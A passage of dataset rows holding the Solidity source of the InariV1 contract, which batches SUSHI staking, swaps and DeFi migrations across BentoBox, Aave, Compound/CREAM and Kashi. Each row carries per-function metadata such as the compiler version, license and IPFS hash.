keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | balanceToBento | function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
| /************
BENTO HELPERS
************/ | NatSpecMultiLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
12148,
12371
]
} | 11,785 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | setBentoApproval | function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
| /// @dev Included to be able to approve `bento` in the same transaction (using `batch()`). | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
12474,
12750
]
} | 11,786 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
